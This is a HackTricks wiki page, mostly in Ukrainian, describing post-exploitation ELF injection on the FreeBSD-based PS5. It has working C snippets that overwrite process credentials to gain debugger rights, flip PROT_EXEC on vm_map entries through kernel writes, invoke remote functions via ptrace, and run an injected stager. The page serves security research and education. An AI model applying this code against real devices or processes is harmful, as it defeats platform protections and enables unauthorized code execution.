FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study)
Reading time: 8 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Огляд
Ця сторінка документує практичну техніку інжекції процесу/ELF у usermode Unix/BSD на PlayStation 5 (PS5), яка базується на FreeBSD. Метод узагальнюється для похідних FreeBSD за умови наявності kernel read/write (R/W) primitives. На високому рівні:
- Змінити credentials поточного процесу (ucred), щоб надати права дебагера, дозволивши ptrace/mdbg для довільних user процесів.
- Знаходити цільові процеси, обходячи kernel allproc list.
- Обійти обмеження PROT_EXEC, встановивши vm_map_entry.protection |= PROT_EXEC у vm_map цілі через запис у kernel data.
- Використати ptrace для Remote Function Invocation (RFI): зупинити потік, встановити регістри для виклику довільних функцій всередині цілі, відновити виконання, зібрати значення повернення та відновити стан.
- Замапити та виконати довільні ELF payloads всередині цілі за допомогою in-process ELF loader, потім створити виділений потік, який запустить payload і викличе breakpoint для чистого detach.
Hypervisor mitigations на PS5, на які варто звернути увагу (в контексті цієї техніки):
- XOM (execute-only .text) забороняє читання/запис kernel .text.
- Скидання CR0.WP або відключення CR4.SMEP спричиняє hypervisor vmexit (краш). Лише data-only kernel writes є придатними.
- Userland mmap за замовчуванням обмежений до PROT_READ|PROT_WRITE. Надання PROT_EXEC має виконуватися редагуванням vm_map записів у kernel memory.
Ця техніка призначена для post-exploitation: вона припускає наявність kernel R/W primitives, отриманих з exploit chain. Публічні payloads демонструють це до firmware 10.01 на момент написання.
Примітиви kernel — тільки для даних
Виявлення процесів через allproc
FreeBSD підтримує двозв’язний список процесів у kernel .data під allproc. Маючи kernel read primitive, ітеруйте його, щоб знайти імена процесів і PIDs:
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
} while (next);
free(proc);
return NULL;
}
void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}
- KERNEL_ADDRESS_ALLPROC залежить від прошивки.
- p_comm — ім'я фіксованого розміру; розгляньте pid->proc lookups, якщо потрібно.
Підвищення повноважень для налагодження (ucred)
На PS5, struct ucred містить поле Authority ID, доступне через proc->p_ucred. Запис debugger Authority ID надає ptrace/mdbg над іншими процесами:
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
- Offset 0x58 є специфічним для сімейства прошивок PS5 і має бути перевірений для кожної версії.
- Після цього запису injector може приєднуватися та інструментувати користувацькі процеси через ptrace/mdbg.
Обхід RW-only мапінгів користувача: vm_map PROT_EXEC flip
Userland mmap може бути обмеженим до PROT_READ|PROT_WRITE. FreeBSD відслідковує адресний простір процесу у vm_map з вузлів vm_map_entry (BST plus list). Кожен запис містить поля protection та max_protection:
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};
With kernel R/W you can locate the target’s vm_map and set entry->protection |= PROT_EXEC (and, if needed, entry->max_protection). Практичні зауваги щодо реалізації:
- Перебирайте записи або лінійно через next, або використовуючи balanced-tree (left/right) для пошуку за адресним діапазоном з O(log n).
- Виберіть відомий RW регіон під вашим контролем (scratch buffer або mapped file) і додайте PROT_EXEC, щоб розмістити код або loader thunks.
- Код PS5 SDK надає допоміжні функції для швидкого пошуку map-entry і перемикання захистів.
Це обходить політику mmap у userland шляхом прямого редагування kernel-owned metadata.
Remote Function Invocation (RFI) with ptrace
FreeBSD не має Windows-подібних VirtualAllocEx/CreateRemoteThread. Натомість змушуйте ціль викликати власні функції під контролем ptrace:
- Приєднатися до цілі та вибрати потік; PTRACE_ATTACH або PS5-специфічні mdbg flows можуть застосовуватися.
- Зберегти контекст потоку: регістри, PC, SP, flags.
- Записати регістри аргументів відповідно до ABI (x86_64 SysV або arm64 AAPCS64), встановити PC на цільову функцію і при потребі помістити додаткові args/stack.
- Виконувати покроково або продовжити до контрольованої зупинки (наприклад, software breakpoint або signal), потім прочитати назад значення повернення з регістрів.
- Відновити початковий контекст і продовжити.
Use cases:
- Викликати in-process ELF loader (e.g., elfldr_load) з вказівником на ваш ELF image у пам'яті цілі.
- Викликати допоміжні рутини для отримання повернених entrypoints і вказівників payload-args.
Example of driving the ELF loader:
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
The loader відображає сегменти, резольвить імпорти, застосовує релокації та повертає entry (часто CRT bootstrap) плюс непрозорий вказівник payload_args, який ваш stager передає до payload’s main().
Багатопоточний stager та чистий detach
Мінімальний stager всередині цілі створює новий pthread, який запускає ELF’s main і потім викликає int3, щоб сигналізувати injector про detach:
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
- Вказівники SCEFunctions/payload_args надаються loader/SDK glue.
- Після breakpoint та detach payload продовжує виконуватися у власному thread.
Повний конвеєр (PS5 reference implementation)
Працююча реалізація постачається у вигляді невеликого TCP injector server та клієнтського скрипта:
- NineS server слухає на TCP 9033 та отримує заголовок, який містить ім'я цільового процесу, за яким слідує ELF image:
typedef struct __injector_data_t{
char proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
- Використання клієнта Python:
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
Приклад Hello-world payload (записує логи в klog):
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}
Практичні зауваження
- Зсуви та константи (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) специфічні для прошивки і мають оновлюватись для кожного релізу.
- Захисти гіпервізора примушують робити лише data-only kernel writes; не намагайтесь патчити CR0.WP або CR4.SMEP.
- JIT memory — альтернатива: деякі процеси надають PS5 JIT APIs для виділення виконуваних сторінок. Зміна захисту vm_map усуває потребу покладатися на JIT/mirroring tricks.
- Забезпечте надійне збереження/відновлення регістрів; у разі помилки це може призвести до deadlock або crash target.
Публічні інструменти
- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
- ELF loader: https://github.com/ps5-payload-dev/elfldr
- Injector server: https://github.com/buzzer-re/NineS/
- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
Посилання
- Usermode ELF injection on the PlayStation 5
- ps5-payload-dev/sdk
- ps5-payload-dev/elfldr
- buzzer-re/NineS
- playstation_research_utils
- Mira
- gdbsrv
- FreeBSD klog reference
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.